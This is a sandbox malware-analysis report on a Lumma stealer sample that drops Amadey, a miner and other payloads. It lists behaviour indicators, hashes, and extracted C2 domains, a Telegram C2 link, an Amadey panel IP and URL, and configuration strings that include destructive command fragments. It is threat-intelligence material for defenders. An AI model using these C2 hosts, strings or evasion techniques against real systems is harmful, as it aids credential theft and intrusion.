File name:

random.exe

Full analysis: https://app.any.run/tasks/3fff8105-28f2-47eb-bc1a-0465edcb77b8
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: May 16, 2025, 19:05:56
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
telegram
auto-reg
credentialflusher
auto-sch
uac
rdp
gcleaner
evasion
miner
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

E0F16D8CD1EEC1C672FE72F736626714

SHA1:

74D16AB7C6D2A7D66527E3E6A43C2DF2B004AEF1

SHA256:

0F378F4DBF137CA4ABDF88F8D137684C4196935DF8BC8E3CFABEB4BDC5C3BA75

SSDEEP:

98304:wVGpkF0L8nNHsfx4Gst7KDHZJe/NEpLgcXjKIgdhk4TqFy7Sco4cx+uSStb3ou3j:x00Of

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • LUMMA mutex has been found

      • random.exe (PID: 1852)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)

    • Steals credentials from Web Browsers

      • random.exe (PID: 1852)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)

    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2196)
      • random.exe (PID: 1852)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)
      • MSBuild.exe (PID: 4560)
      • MSBuild.exe (PID: 9120)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 7984)
      • cmd.exe (PID: 3968)

    • Actions looks like stealing of personal data

      • random.exe (PID: 1852)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)

    • LUMMA has been detected (YARA)

      • random.exe (PID: 1852)
      • MSBuild.exe (PID: 4560)
      • ad570225b0.exe (PID: 6736)

    • AMADEY mutex has been found

      • ramez.exe (PID: 7984)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)

    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 7984)

    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 7984)

    • Changes the autorun value in the registry

      • ramez.exe (PID: 7984)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 7896)
      • NSudoLG.exe (PID: 5360)
      • cmd.exe (PID: 4696)
      • NSudoLG.exe (PID: 7792)

    • Changes Windows Defender settings

      • NSudoLG.exe (PID: 5360)
      • NSudoLG.exe (PID: 7792)
      • WinTemp-v4.exe (PID: 8620)

    • Possible tool for stealing has been detected

      • firefox.exe (PID: 7144)
      • 3c51a4e7a6.exe (PID: 7888)
      • 3c51a4e7a6.exe (PID: 8760)
      • firefox.exe (PID: 7708)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 7828)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 536)
      • powershell.exe (PID: 9112)

    • Bypass User Account Control (ComputerDefaults)

      • ComputerDefaults.exe (PID: 7012)

    • Adds process to the Windows Defender exclusion list

      • WinTemp-v4.exe (PID: 8620)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 4696)

    • Known privilege escalation attack

      • dllhost.exe (PID: 8840)

    • Starts REAGENTC.EXE to disable the Windows Recovery Environment

      • ReAgentc.exe (PID: 9060)

    • Executing a file with an untrusted certificate

      • ra02W4S.exe (PID: 5436)
      • Hashrate_Vorte.exe (PID: 6404)
      • Hashrate_Vorte.exe (PID: 3760)
      • ZGSI81i.exe (PID: 7100)

    • GCLEANER has been detected (SURICATA)

      • ra02W4S.exe (PID: 5436)

    • Suspicious browser debugging (Possible cookie theft)

      • chrome.exe (PID: 6080)

    • MINER has been detected (SURICATA)

      • cmd.exe (PID: 3968)

  • SUSPICIOUS

    • Reads the BIOS version

      • random.exe (PID: 1852)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ad570225b0.exe (PID: 7652)

    • Contacting a server suspected of hosting an CnC

      • random.exe (PID: 1852)
      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)
      • MSBuild.exe (PID: 4560)
      • MSBuild.exe (PID: 9120)

    • Searches for installed software

      • random.exe (PID: 1852)
      • ad570225b0.exe (PID: 6736)

    • Executable content was dropped or overwritten

      • random.exe (PID: 1852)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • 50d759de7e.exe (PID: 7448)
      • 7z.exe (PID: 8532)
      • ad570225b0.exe (PID: 6736)
      • powershell.exe (PID: 536)
      • ad570225b0.exe (PID: 7652)
      • oxDU0MW.exe (PID: 8724)
      • cmd.exe (PID: 7896)
      • sZeOgkV.exe (PID: 8348)
      • WinTemp-v4.exe (PID: 8620)
      • Unlocker.exe (PID: 5740)
      • Hashrate_Vorte.exe (PID: 6404)
      • ra02W4S.exe (PID: 5436)
      • rTtpSKiRi.exe (PID: 8240)
      • rTtpSKiRi.tmp (PID: 8416)
      • creativedatarecovery181.exe (PID: 6584)
      • 75809f33cf.exe (PID: 3676)
      • 75809f33cf.tmp (PID: 668)

    • Potential Corporate Privacy Violation

      • random.exe (PID: 1852)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)
      • powershell.exe (PID: 536)
      • ra02W4S.exe (PID: 5436)
      • cmd.exe (PID: 3968)

    • Reads security settings of Internet Explorer

      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • 50d759de7e.exe (PID: 7448)
      • nircmd.exe (PID: 5260)
      • 50d759de7e.exe (PID: 2772)
      • nircmd.exe (PID: 7764)

    • Connects to the server without a host name

      • random.exe (PID: 1852)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)
      • powershell.exe (PID: 536)
      • ra02W4S.exe (PID: 5436)

    • Process requests binary or script from the Internet

      • random.exe (PID: 1852)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)
      • powershell.exe (PID: 536)

    • Starts itself from another location

      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • Hashrate_Vorte.exe (PID: 6404)

    • Executes application which crashes

      • 547b50431e.exe (PID: 5256)
      • Unlocker.exe (PID: 6456)
      • Unlocker.exe (PID: 7816)
      • Unlocker.exe (PID: 7904)
      • Unlocker.exe (PID: 8368)
      • Unlocker.exe (PID: 8876)
      • Unlocker.exe (PID: 8448)
      • Win-v42.exe (PID: 4008)
      • Win-v41.exe (PID: 3024)
      • core.exe (PID: 9188)

    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 7984)

    • Executing commands from a ".bat" file

      • 50d759de7e.exe (PID: 7448)
      • cmd.exe (PID: 7592)
      • nircmd.exe (PID: 5260)
      • cmd.exe (PID: 7660)
      • cmd.exe (PID: 7812)
      • NSudoLG.exe (PID: 2516)
      • 50d759de7e.exe (PID: 2772)
      • cmd.exe (PID: 7688)
      • NSudoLG.exe (PID: 684)
      • cmd.exe (PID: 5136)
      • nircmd.exe (PID: 7764)
      • cmd.exe (PID: 7936)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 4560)
      • MSBuild.exe (PID: 7644)
      • FMHCtKqh0l.exe (PID: 8220)

    • Drops 7-zip archiver for unpacking

      • 50d759de7e.exe (PID: 7448)

    • Application launched itself

      • cmd.exe (PID: 7592)
      • cmd.exe (PID: 7660)
      • cmd.exe (PID: 7812)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7688)
      • cmd.exe (PID: 5136)
      • cmd.exe (PID: 7936)
      • cmd.exe (PID: 4696)

    • The process creates files with name similar to system file names

      • 50d759de7e.exe (PID: 7448)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 7592)
      • nircmd.exe (PID: 5260)
      • cmd.exe (PID: 7660)
      • 50d759de7e.exe (PID: 7448)
      • NSudoLG.exe (PID: 2516)
      • cmd.exe (PID: 7812)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7688)
      • 50d759de7e.exe (PID: 2772)
      • NSudoLG.exe (PID: 684)
      • nircmd.exe (PID: 7764)
      • cmd.exe (PID: 7936)
      • cmd.exe (PID: 5136)
      • cmd.exe (PID: 4696)
      • 26b01426b8.exe (PID: 7688)
      • Unlocker.exe (PID: 8632)
      • Unlocker.exe (PID: 8896)
      • Unlocker.exe (PID: 6456)
      • sZeOgkV.exe (PID: 8348)
      • Unlocker.exe (PID: 8368)
      • Unlocker.exe (PID: 7816)
      • Unlocker.exe (PID: 7904)
      • Unlocker.exe (PID: 8876)
      • Unlocker.exe (PID: 8448)
      • WinTemp-v4.exe (PID: 8620)
      • Unlocker.exe (PID: 5740)
      • Hashrate_Vorte.exe (PID: 3760)
      • Unlocker.exe (PID: 7172)

    • Starts application with an unusual extension

      • cmd.exe (PID: 4944)
      • cmd.exe (PID: 6228)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7792)
      • cmd.exe (PID: 5324)
      • cmd.exe (PID: 4696)

    • The executable file from the user directory is run by the CMD process

      • nircmd.exe (PID: 5260)
      • NSudoLG.exe (PID: 2516)
      • NSudoLG.exe (PID: 5360)
      • nircmd.exe (PID: 7764)
      • NSudoLG.exe (PID: 684)
      • NSudoLG.exe (PID: 7792)
      • Unlocker.exe (PID: 8632)
      • 7z.exe (PID: 8864)
      • 7z.exe (PID: 8532)
      • Unlocker.exe (PID: 8896)
      • Unlocker.exe (PID: 6456)
      • Unlocker.exe (PID: 7816)
      • Unlocker.exe (PID: 7904)
      • Unlocker.exe (PID: 8368)
      • Unlocker.exe (PID: 8876)
      • Unlocker.exe (PID: 8448)
      • Unlocker.exe (PID: 5740)
      • Unlocker.exe (PID: 7172)

    • Reads the date of Windows installation

      • nircmd.exe (PID: 5260)
      • nircmd.exe (PID: 7764)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 6228)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 5324)
      • cmd.exe (PID: 4696)

    • Get information on the list of running processes

      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 864)
      • cmd.exe (PID: 7576)
      • cmd.exe (PID: 4696)
      • sZeOgkV.exe (PID: 8348)

    • Starts POWERSHELL.EXE for commands execution

      • NSudoLG.exe (PID: 5360)
      • NSudoLG.exe (PID: 7792)
      • mshta.exe (PID: 6436)
      • mshta.exe (PID: 732)
      • WinTemp-v4.exe (PID: 8620)
      • sZeOgkV.exe (PID: 8348)
      • cmd.exe (PID: 7608)
      • creativedatarecovery181.exe (PID: 6584)
      • FMHCtKqh0l.exe (PID: 8220)

    • Script adds exclusion path to Windows Defender

      • NSudoLG.exe (PID: 5360)
      • NSudoLG.exe (PID: 7792)
      • WinTemp-v4.exe (PID: 8620)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 4560)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 7624)
      • powershell.exe (PID: 4112)

    • Uses TASKKILL.EXE to kill Browsers

      • 3c51a4e7a6.exe (PID: 7888)
      • 3c51a4e7a6.exe (PID: 8760)
      • sZeOgkV.exe (PID: 8348)

    • Uses TASKKILL.EXE to kill process

      • 3c51a4e7a6.exe (PID: 7888)
      • cmd.exe (PID: 9120)
      • 3c51a4e7a6.exe (PID: 8760)
      • sZeOgkV.exe (PID: 8348)
      • cmd.exe (PID: 664)
      • cmd.exe (PID: 7660)
      • cmd.exe (PID: 7548)

    • Manipulates environment variables

      • powershell.exe (PID: 536)
      • powershell.exe (PID: 9112)

    • Found IP address in command line

      • powershell.exe (PID: 536)
      • powershell.exe (PID: 9112)

    • Probably download files using WebClient

      • mshta.exe (PID: 6436)
      • mshta.exe (PID: 732)

    • Starts process via Powershell

      • powershell.exe (PID: 536)
      • powershell.exe (PID: 9112)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 4696)

    • Windows service management via SC.EXE

      • sc.exe (PID: 8924)
      • sc.exe (PID: 684)
      • sc.exe (PID: 8444)
      • sc.exe (PID: 8628)
      • sc.exe (PID: 8708)
      • sc.exe (PID: 8676)
      • sc.exe (PID: 9016)
      • sc.exe (PID: 7656)
      • sc.exe (PID: 8612)
      • sc.exe (PID: 3676)
      • sc.exe (PID: 7588)
      • sc.exe (PID: 8772)
      • sc.exe (PID: 2384)
      • sc.exe (PID: 9196)
      • sc.exe (PID: 6404)
      • sc.exe (PID: 7208)
      • sc.exe (PID: 7604)
      • sc.exe (PID: 8848)
      • sc.exe (PID: 8860)
      • sc.exe (PID: 7824)
      • sc.exe (PID: 9156)
      • sc.exe (PID: 8532)
      • sc.exe (PID: 9180)
      • sc.exe (PID: 8540)
      • sc.exe (PID: 7816)
      • sc.exe (PID: 3676)
      • sc.exe (PID: 8408)
      • sc.exe (PID: 5588)
      • sc.exe (PID: 7424)
      • sc.exe (PID: 4180)
      • sc.exe (PID: 8020)
      • sc.exe (PID: 5452)
      • sc.exe (PID: 3396)
      • sc.exe (PID: 8312)
      • sc.exe (PID: 8724)
      • sc.exe (PID: 8392)
      • sc.exe (PID: 4464)
      • sc.exe (PID: 8384)
      • sc.exe (PID: 8760)
      • sc.exe (PID: 1452)
      • sc.exe (PID: 4380)
      • sc.exe (PID: 7568)
      • sc.exe (PID: 6668)
      • sc.exe (PID: 9180)
      • sc.exe (PID: 9040)
      • sc.exe (PID: 9140)
      • sc.exe (PID: 8508)
      • sc.exe (PID: 4448)
      • sc.exe (PID: 5756)
      • sc.exe (PID: 3240)
      • sc.exe (PID: 6656)
      • sc.exe (PID: 7904)
      • sc.exe (PID: 5508)
      • sc.exe (PID: 7616)
      • sc.exe (PID: 7588)
      • sc.exe (PID: 4572)
      • sc.exe (PID: 6828)
      • sc.exe (PID: 6960)
      • sc.exe (PID: 2064)
      • sc.exe (PID: 7288)
      • sc.exe (PID: 7436)
      • sc.exe (PID: 7280)
      • sc.exe (PID: 8972)
      • sc.exe (PID: 9088)
      • sc.exe (PID: 8356)
      • sc.exe (PID: 8624)
      • sc.exe (PID: 7840)
      • sc.exe (PID: 4932)
      • sc.exe (PID: 456)
      • sc.exe (PID: 2428)
      • sc.exe (PID: 8936)
      • sc.exe (PID: 9048)
      • sc.exe (PID: 3304)
      • sc.exe (PID: 5964)
      • sc.exe (PID: 5260)
      • sc.exe (PID: 6480)
      • sc.exe (PID: 5044)
      • sc.exe (PID: 6148)
      • sc.exe (PID: 9152)
      • sc.exe (PID: 2144)
      • sc.exe (PID: 7272)
      • sc.exe (PID: 8328)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 8800)
      • cmd.exe (PID: 9148)
      • cmd.exe (PID: 5352)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 8296)
      • cmd.exe (PID: 3008)
      • cmd.exe (PID: 8500)
      • cmd.exe (PID: 2268)
      • cmd.exe (PID: 5588)
      • cmd.exe (PID: 8960)
      • cmd.exe (PID: 3396)
      • cmd.exe (PID: 4696)
      • cmd.exe (PID: 2656)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 7896)

    • The process executes via Task Scheduler

      • ramez.exe (PID: 7512)
      • ramez.exe (PID: 1272)

    • Script adds exclusion process to Windows Defender

      • WinTemp-v4.exe (PID: 8620)

    • Stops a currently running service

      • sc.exe (PID: 6028)
      • sc.exe (PID: 8856)
      • sc.exe (PID: 4868)
      • sc.exe (PID: 7956)
      • sc.exe (PID: 9040)
      • sc.exe (PID: 5776)
      • sc.exe (PID: 8668)
      • sc.exe (PID: 3304)
      • sc.exe (PID: 8200)
      • sc.exe (PID: 8648)
      • sc.exe (PID: 8720)
      • sc.exe (PID: 7924)
      • sc.exe (PID: 4208)
      • sc.exe (PID: 7784)
      • sc.exe (PID: 8672)
      • sc.exe (PID: 7776)
      • sc.exe (PID: 7668)
      • sc.exe (PID: 4920)
      • sc.exe (PID: 5776)
      • sc.exe (PID: 8860)
      • sc.exe (PID: 2228)
      • sc.exe (PID: 7624)
      • sc.exe (PID: 7300)
      • sc.exe (PID: 7760)
      • sc.exe (PID: 8424)
      • sc.exe (PID: 5984)
      • sc.exe (PID: 8324)
      • sc.exe (PID: 7844)
      • sc.exe (PID: 8516)
      • sc.exe (PID: 6344)
      • sc.exe (PID: 5936)
      • sc.exe (PID: 8612)
      • sc.exe (PID: 2420)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 8452)
      • schtasks.exe (PID: 6080)
      • schtasks.exe (PID: 7548)
      • schtasks.exe (PID: 7660)
      • schtasks.exe (PID: 8752)
      • schtasks.exe (PID: 4728)
      • schtasks.exe (PID: 8208)
      • schtasks.exe (PID: 7544)
      • schtasks.exe (PID: 7700)
      • schtasks.exe (PID: 8460)

    • Process drops legitimate windows executable

      • cmd.exe (PID: 7896)
      • msiexec.exe (PID: 3268)
      • Hashrate_Vorte.exe (PID: 6404)
      • rTtpSKiRi.tmp (PID: 8416)

    • Uses ATTRIB.EXE to modify file attributes

      • sZeOgkV.exe (PID: 8348)

    • Probably obfuscated PowerShell command line is found

      • sZeOgkV.exe (PID: 8348)
      • cmd.exe (PID: 7608)

    • Drops a system driver (possible attempt to evade defenses)

      • Unlocker.exe (PID: 5740)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 8608)
      • cmd.exe (PID: 9104)

    • Takes ownership (TAKEOWN.EXE)

      • cmd.exe (PID: 1764)

    • Uses powercfg.exe to modify the power settings

      • WinTemp-v4.exe (PID: 8620)

    • Hides command output

      • cmd.exe (PID: 8300)

    • The process drops C-runtime libraries

      • msiexec.exe (PID: 3268)
      • Hashrate_Vorte.exe (PID: 6404)
      • rTtpSKiRi.tmp (PID: 8416)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • WinTemp-v4.exe (PID: 8620)

    • Connects to unusual port

      • WinTemp-v4.exe (PID: 8620)
      • cmd.exe (PID: 3968)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 1056)

    • Hides errors and continues executing the command without stopping

      • powershell.exe (PID: 1056)

    • Executes as Windows Service

      • cmd.exe (PID: 7608)

    • Invokes assembly entry point (POWERSHELL)

      • powershell.exe (PID: 7604)

    • The process hide an interactive prompt from the user

      • FMHCtKqh0l.exe (PID: 8220)

    • Base64-obfuscated command line is found

      • FMHCtKqh0l.exe (PID: 8220)

    • The process bypasses the loading of PowerShell profile settings

      • FMHCtKqh0l.exe (PID: 8220)

    • BASE64 encoded PowerShell command has been detected

      • FMHCtKqh0l.exe (PID: 8220)

  • INFO

    • Reads the computer name

      • random.exe (PID: 1852)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • MSBuild.exe (PID: 4560)
      • ad570225b0.exe (PID: 6736)
      • 50d759de7e.exe (PID: 7448)
      • nircmd.exe (PID: 5260)
      • NSudoLG.exe (PID: 2516)
      • ad570225b0.exe (PID: 7652)
      • NSudoLG.exe (PID: 5360)
      • 50d759de7e.exe (PID: 2772)
      • nircmd.exe (PID: 7764)
      • NSudoLG.exe (PID: 684)
      • 3c51a4e7a6.exe (PID: 7888)
      • NSudoLG.exe (PID: 7792)
      • 26b01426b8.exe (PID: 7688)

    • Checks supported languages

      • random.exe (PID: 1852)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • 547b50431e.exe (PID: 5256)
      • MSBuild.exe (PID: 4560)
      • ad570225b0.exe (PID: 6736)
      • 50d759de7e.exe (PID: 7448)
      • chcp.com (PID: 4068)
      • nircmd.exe (PID: 5260)
      • ad570225b0.exe (PID: 7652)
      • chcp.com (PID: 7740)
      • chcp.com (PID: 7796)
      • NSudoLG.exe (PID: 2516)
      • mode.com (PID: 5868)
      • NSudoLG.exe (PID: 5360)
      • 50d759de7e.exe (PID: 2772)
      • chcp.com (PID: 7820)
      • nircmd.exe (PID: 7764)
      • NSudoLG.exe (PID: 684)
      • chcp.com (PID: 5304)
      • mode.com (PID: 7504)
      • chcp.com (PID: 7564)
      • NSudoLG.exe (PID: 7792)
      • 26b01426b8.exe (PID: 7688)
      • 3c51a4e7a6.exe (PID: 7888)

    • Reads the software policy settings

      • random.exe (PID: 1852)
      • MSBuild.exe (PID: 4560)
      • ad570225b0.exe (PID: 6736)
      • ad570225b0.exe (PID: 7652)

    • Themida protector has been detected

      • random.exe (PID: 1852)
      • ramez.exe (PID: 7984)
      • ad570225b0.exe (PID: 6736)

    • Create files in a temporary directory

      • random.exe (PID: 1852)
      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • 50d759de7e.exe (PID: 7448)
      • 50d759de7e.exe (PID: 2772)
      • 26b01426b8.exe (PID: 7688)

    • Process checks computer location settings

      • 4FMHRXHLJUVJ2NW5O83W1T.exe (PID: 7796)
      • ramez.exe (PID: 7984)
      • 50d759de7e.exe (PID: 7448)
      • nircmd.exe (PID: 5260)
      • 50d759de7e.exe (PID: 2772)
      • nircmd.exe (PID: 7764)

    • Checks proxy server information

      • ramez.exe (PID: 7984)

    • Creates files or folders in the user directory

      • ramez.exe (PID: 7984)
      • WerFault.exe (PID: 3240)

    • Auto-launch of the file from Registry key

      • ramez.exe (PID: 7984)

    • The sample compiled with english language support

      • 50d759de7e.exe (PID: 7448)
      • cmd.exe (PID: 7896)
      • ramez.exe (PID: 7984)
      • Unlocker.exe (PID: 5740)
      • msiexec.exe (PID: 3268)
      • Hashrate_Vorte.exe (PID: 6404)
      • rTtpSKiRi.tmp (PID: 8416)
      • ra02W4S.exe (PID: 5436)

    • Changes the display of characters in the console

      • cmd.exe (PID: 4944)
      • cmd.exe (PID: 6228)
      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 7792)
      • cmd.exe (PID: 5324)
      • cmd.exe (PID: 4696)

    • NirSoft software is detected

      • nircmd.exe (PID: 5260)
      • nircmd.exe (PID: 7764)

    • Manual execution by a user

      • ad570225b0.exe (PID: 7652)
      • 50d759de7e.exe (PID: 2772)
      • 3c51a4e7a6.exe (PID: 8760)
      • mshta.exe (PID: 732)
      • Win-v42.exe (PID: 4008)

    • Starts MODE.COM to configure console settings

      • mode.com (PID: 5868)
      • mode.com (PID: 7504)

    • Checks operating system version

      • cmd.exe (PID: 7896)
      • cmd.exe (PID: 4696)

    • Reads mouse settings

      • 3c51a4e7a6.exe (PID: 7888)
      • 26b01426b8.exe (PID: 7688)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7624)
      • powershell.exe (PID: 4112)

    • Application launched itself

      • firefox.exe (PID: 7144)
      • firefox.exe (PID: 7512)
      • firefox.exe (PID: 7708)
      • firefox.exe (PID: 7748)
      • chrome.exe (PID: 6080)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7624)

    • Auto-launch of the file from Task Scheduler

      • cmd.exe (PID: 7828)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6436)

    • The executable file from the user directory is run by the Powershell process

      • TempYRXRWDDDXWA0VQTF22M4QOORRHG5GRMX.EXE (PID: 8408)
      • TempYRXRWDDDXWA0VQTF22M4QOORRHG5GRMX.EXE (PID: 8228)

    • Uses Task Scheduler to autorun other applications (AUTOMATE)

      • WinTemp-v4.exe (PID: 8620)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3268)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 2084)
      • conhost.exe (PID: 8272)
      • conhost.exe (PID: 2236)
      • conhost.exe (PID: 7216)
      • conhost.exe (PID: 7084)
      • conhost.exe (PID: 5588)
      • conhost.exe (PID: 9204)
      • conhost.exe (PID: 8456)
      • conhost.exe (PID: 8952)

    • Changes the registry key values via Powershell

      • creativedatarecovery181.exe (PID: 6584)

    • Attempting to use instant messaging service

      • FMHCtKqh0l.exe (PID: 8220)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(1852) random.exe
C2 (9)emphatakpn.bet/ladk
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
testcawepr.run/dsap
saxecocnak.live/manj
posseswsnc.top/akds
blackswmxc.top/bgry
(PID) Process(4560) MSBuild.exe
C2 (10)emphatakpn.bet/ladk
featurlyin.top/pdal
https://t.me/coscossk
overcovtcg.top/juhd
laminaflbx.shop/twoq
anesthwtcm.run/ladj
posseswsnc.top/akds
testcawepr.run/dsap
saxecocnak.live/manj
blackswmxc.top/bgry
(PID) Process(6736) ad570225b0.exe
C2 (9)onehunqpom.life/zpxd
narrathfpt.top/tekq
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
posseswsnc.top/akds
jackthyfuc.run/xpas
blackswmxc.top/bgry

Amadey

(PID) Process(7984) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
" Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:05:15 15:45:51+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 322560
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x4af000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
815
Monitored processes
666
Malicious processes
43
Suspicious processes
21

Behavior graph

Click at the process to see the details
start #LUMMA random.exe #LUMMA svchost.exe sppextcomobj.exe no specs slui.exe 4fmhrxhljuvj2nw5o83w1t.exe #AMADEY ramez.exe 547b50431e.exe #LUMMA msbuild.exe #LUMMA ad570225b0.exe werfault.exe no specs 50d759de7e.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs #LUMMA ad570225b0.exe cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs nsudolg.exe no specs powershell.exe no specs conhost.exe no specs 50d759de7e.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs #CREDENTIALFLUSHER 3c51a4e7a6.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs taskkill.exe no specs conhost.exe no specs reg.exe no specs 